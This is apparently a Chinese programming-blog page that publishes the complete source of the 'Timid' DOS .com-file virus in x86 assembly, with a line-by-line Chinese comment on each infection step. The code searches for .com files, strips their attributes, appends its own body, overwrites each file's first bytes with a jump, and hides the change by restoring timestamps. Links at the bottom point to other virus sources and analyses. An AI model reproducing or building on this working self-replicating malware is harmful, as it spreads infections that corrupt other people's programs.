timid病毒源码

原创 2008年10月01日 19:56:00

 .model tiny
.code
ORG 100H
start:
   call get_displacement              ;当前堆栈中保存的是get_displacement在内存中的真实地址
  
get_displacement:                     ;重定位(获取start在内存中的真实地址)
   pop bp                             ;bp为get_displacement在内存中的真实地址
   sub bp,offset get_displacement     ;bp现在是start在内存中的真实地址
   
get_dta:                              ;保存当前DTA地址
  mov ah,2fh                          ;ES:BX=DTA首址
  int 21h                             ;2FH号功能为取磁盘传输地址DTA
  mov [bp+old_dta_off],bx             ;将DTA地址保存到变量old_dta_off变量中
   
set_dta:                              ;设置程序DTA首址
  mov ah,1ah                          ;DS:DX为DTA缓冲区首址      
  lea dx,[bp+dta_filler]              ;将变量dta_filler在内存中的地址设为DTA首址
  int 21h                             ;1aH号功能为设置DTA首址
         
search:                               ;查找第一个.com文件
  mov ah,4eh                          ;DS:DX=带路径的文件名,CX=文件属性,CF=1失败,AX=错误码
  mov cx,[bp+search_attrib]           ;所查找文件属性为变量search_attrib中所记录的文件属性
  lea dx,[bp+search_mask]             ;所查找文件类型为search_mask中记录的类型,即.com类型文件
  int 21h                             ;4EH号功能为查找第一个匹配的文件项
  jnc clear_attrib                    ;CF为进位标置,为0表示找到则程序跳转
       
find_next:                            ;继续查找.com文件
  mov ah,4fh                          ;CF=1失败,AX=错误码
  int 21h                             ;4FH号功能为查找下一个匹配的文件项     
  jnc clear_attrib                    ;CF为进位标置,为0表示找到则程序跳转  
  jmp bomb                            ;找不到.com文件了则感染结束
 
clear_attrib:                         ;将文件属性设为一般文件(可写可读)
  mov ax,4301h                        ;DS:DX=带路径的文件名,AL=方式:0取,1置,CX=新属性;1只读,2隐蔽,4系统,20H归档
  xor cx,cx                           ;cx置0,0为普通文件
  lea dx,[bp+dta_file_name]           ;将找到的文件名传入DX
  int 21h                             ;43H号功能为取/置文件属性
        
open_file:                            ;打开文件
  mov ax,3d02h                        ;DS:DX=带路径的文件名,AL=方式,0读,1写,2读写
  lea dx,[bp+dta_file_name]
  int 21h                             ;3dH号功能为打开文件
  xchg bx,ax                          ;bx中保存文件号
             
check_if_infected:                    ;检查文件是否已被感染过
  mov dx,word ptr [bp+dta_file_size]
  sub dx,2
  mov ax,4200h                        ;AL=方式:0正向,1相对,2反向
  mov cx,0                            ;CX:DX=双字长的偏移值
  int 21h                             ;42H号功能为移动文件指针,此时文件指针指向该文件的倒数第二个字节数
  mov ah,3fh                          ;BX=文件号,CX=字节数,DS:DX=缓冲区首址
  mov cx,2
  lea dx,[bp+last_chars]                                         
  int 21h                             ;3FH号功能为读文件,将该文件最后两字节读入变量last_chars中
  mov ah,[bp+last_chars]              ;last_chars中第一个字符传入ah
  cmp ah,[bp+virus_id]                ;比较lash_chars中第一个字符和virus_id中第一个字符
  jne save_3_bytes                    ;第一个字符不同则说明文件未受感染则跳转感染本文件
  mov ah,[bp+last_chars+1]          
  cmp ah,[bp+virus_id+1]              ;比较第二个字符
  jne save_3_bytes                    ;第二个字符不同则说明文件未受感染也同上跳转感染本文件
  jmp close_file                      ;两字符均相同则说明该文件已受感染则跳去close_file

save_3_bytes:                         ;保存被感染文件的首3字节
  lea si,[bp+_3_bytes]               
  lea di,[bp+_mid_3_bytes]
  cld                                 ;令DF=0, 其后[SI],[DI]执行增量操作                      
  mov cx,3
  rep movsb                           ;rep:REP前缀后的串指令重复执行,每执行一次CX=CX-1,直至CX=0时退出REP;movsb:Move byte at address DS:(E)SI to address ES:(E)DI

  mov ax,4200h
  xor cx,cx                         
  xor dx,dx
  int 21h                             ;42H号功能为移动文件指针,将文件指针移到文件头
   
  mov ah,3fh                                
  mov cx,3
  lea dx,[bp+_3_bytes]
  int 21h                             ;3FH号功能为读文件,将文件首3字符存入_3_bytes中

goto_eof:                             ;将文件指针移至文件尾
  mov ax,4202h                        ;AL=方式:0正向,1相对,2反向,AX为移动后的文件指针
  xor cx,cx
  xor dx,dx
  int 21h                             ;42H号功能为移动文件指针,将文件指针移至文件尾处
 
save_jmp_displacement:
  sub ax,3                           
  mov [bp+jmp_disp],ax                ;保存跳转指令的跳转地点
 
write_code:                           ;将内存中的病毒体写入被感染程序
  mov ah,40h                          ;BX=文件号,CX=字节数,DS:DX=缓冲区首址
  mov cx,virus_length                 ;CX=病毒代码长度
  lea dx,[bp+start]                   ;DX=内存中的病毒代码首址
  int 21h                             ;40H号功能为写文件,将病毒体写入文件尾部
 
goto_bof:                             ;文件指针移到文件开始处         
  mov ax,4200h                        ;AL=方式:0正向,1相对,2反向
  xor cx,cx
  xor dx,dx
  int 21h                             ;42H号功能为移动文件指针,将文件指针移至文件头
 
write_jmp:                            ;在被感染程序前写入跳转指令,被感染程序前3字节将被覆盖
  mov ah,40h                          ;BX=文件号,CX=字节数,DS:DX=缓冲区首址
  mov cx,3                            ;CX=3,跳转指令长度为3字节
  lea dx,[bp+jmp_code]                ;将跳转指令传入缓冲区中
  int 21h                             ;40H号功能为写文件,将跳转指令写入文件头
 
  inc [bp+infections]                 ;感染计数器增一
restore_date_time:
  mov ax,5701h                        ;AL=1置;BX=文件号,CX=时间;DX=日期
  mov cx,[bp+dta_file_time]           ;感染前的文件修改时间
  mov dx,[bp+dta_file_date]           ;感染前的文件修改日期
  int 21h                             ;57H号功能为取或设文件时间及日期
close_file:                           ;关闭被感染程序
  mov ah,3eh                          ;BX=文件号
  int 21h                             ;3EH号功能为关闭文件

restore_attrib:                       ;恢复host文件属性
  xor ch,ch
  mov cl,[bp+dta_file_attrib]         ;将保存的host文件的属性重新写入文件属性中去
  mov ax,4301h
  lea dx,[bp+dta_file_name]
  int 21h                             ;43H号功能为取/设文件属性
  jmp find_next                       ;感染下一个文件
bomb:                                 ;显视提示信息,标识病毒特征
  lea dx,[bp+showstr]               
  mov ah,09h
  int 21h                             ;09H号功能显视showstr中保存的字符串
          
restore_dta:                          ;恢复系统原始的DTA
  mov ah,1ah
  mov dx,[bp+old_dta_off]
  int 21h                             ;1aH号功能为设DTA
 
resote_3_bytes:                       ;在内存中恢复被感染程序的前3字节
  lea si,[bp+_3_bytes]               
  mov di,100h
  cld                                 ;令DF=0, 其后[SI],[DI]执行增量操作                      
  mov cx,3
  rep movsb                           ;rep:REP前缀后的串指令重复执行,每执行一次CX=CX-1,直至CX=0时退出REP;movsb:Move byte at address DS:(E)SI to address ES:(E)DI
return_control_or_exit?:            
  cmp bp,0                            ;如果bp为0说明是病毒原体运行,感染完成后就直接结束
  je exit
  mov di,100h                         ;bp不为0说明是寄生在宿主程序中,病毒体运行完后让宿主运行
  jmp di

exit:
  mov ah,08h
  int 21h                             ;等待输入任何字符
  mov ax,4c00h
  int 21h                             ;程序返回

old_dta_off dw 0
;--------------------dta记录------------------------------------------------
dta_filler db 21 dup(0)
dta_file_attrib db 0
dta_file_time dw 0
dta_file_date dw 0
dta_file_size dd 0
dta_file_name db 13 dup(0)
;----------------------------------------------------------------------------
search_mask db "*.com",0               ;感染文件类型,ASCIZ串后面为全“0”字节
search_attrib dw 00100111b             ;文件属性a,s,h,r
infections db 0                        ;感染计数器
_3_bytes db 0,0,0
_mid_3_bytes db 0,0,0
jmp_code db 0e9h                       ;跳转指令
jmp_disp dw 0
last_chars db 0,0                     ;文件尾字符=病毒ID?
virus_id db 10,24h                    ;病毒ID    
;------------------show test string------------------------------------------
showstr db 'This file was infected!',13,10,'It writen by mikeywj!',13,10,24h
eov:
  virus_length equ offset eov - offset start

END start

网上流行的欢乐病毒源码

把一下代码复制粘贴到新建的vbs文件中,再双击运行即可!!! PS:病毒文件,大家谨慎使用。 Dim InWhere,HtmlText,VbsText,DegreeSign,AppleObject...
  • u013703963
  • u013703963
  • 2016年12月25日 13:33
  • 482

今天终于找到bi跨平台病毒的源码了

2006年04月09日16:27 ...
  • iiprogram
  • iiprogram
  • 2006年05月16日 17:02
  • 2083

高手写的天书程序-CIH病毒源码

标题: CIH源码 **************************************************************************** ; * The Virus...
  • super_kevin
  • super_kevin
  • 2006年08月31日 10:22
  • 1336

新鬼影病毒

今天和明天是最后两天宿舍有空调的日子啦,暑假宿舍没空调啊,悲催T__T      好吧,今天是最精华的部分啦对于鬼影3的分析,剩下的都是浮云啦,alg.exe不准备分析了,能用OD调试的货.分析起来...
  • hanghangaidoudou
  • hanghangaidoudou
  • 2012年08月13日 21:19
  • 4434

一个简易的c语言病毒源码

/*C语言病毒代码*/ #include #include #include #include #include /* copy outfile to infile */ void copy...
  • xiawu1990
  • xiawu1990
  • 2010年11月03日 22:28
  • 13490

U盘小病毒源代码

//*******************************************//******  网蝉U盘感染小病毒 ******//***************************...
  • iiprogram
  • iiprogram
  • 2008年04月07日 16:50
  • 3095

万花谷网页病毒源码分析

国家反病毒应急处理中心联防单位北京江民公司的反病毒应急小组最近监测到国内有心怀不轨的人到处在互连网上散发一个美丽诱人的网址"万花谷",这实际是一个恶意"陷阱",有人经不住诱惑,只用鼠标轻轻点一下,计算...
  • sdly
  • sdly
  • 2001年08月14日 17:24
  • 1772

[转载]autorun.inf病毒源代码

autorun.inf病毒源代码 '文件名:autorun.inf [autorun]   open=   shell\open=打开(&O)   shell\open\Command=...
  • ccx_john
  • ccx_john
  • 2014年09月07日 10:03
  • 678

病毒程序源码实例剖析-CIH病毒[5]

 push ecx   loop $     ;破坏BIOS中额外的000E0000 - 000E007F段的 ROM数据,共80h个字节   xor ah, ah   mov [eax], al  ...
  • lang9527
  • lang9527
  • 2007年07月18日 23:19
  • 530

爱虫病毒源代码分析

!--这是爱虫病毒的源代码,爱虫病毒通过邮件传播,但是只局限于outlook的用户,病毒作者通过邮件的内容引诱收件人打开邮件的附件。而事实上,附件是一个.vbs的vbscript脚本程序,当用户打开这...
  • manio
  • manio
  • 2006年11月02日 17:04
  • 3752
内容举报
返回顶部
收藏助手
不良信息举报
您举报文章:timid病毒源码
举报原因:
原因补充:

(最多只允许输入30个字)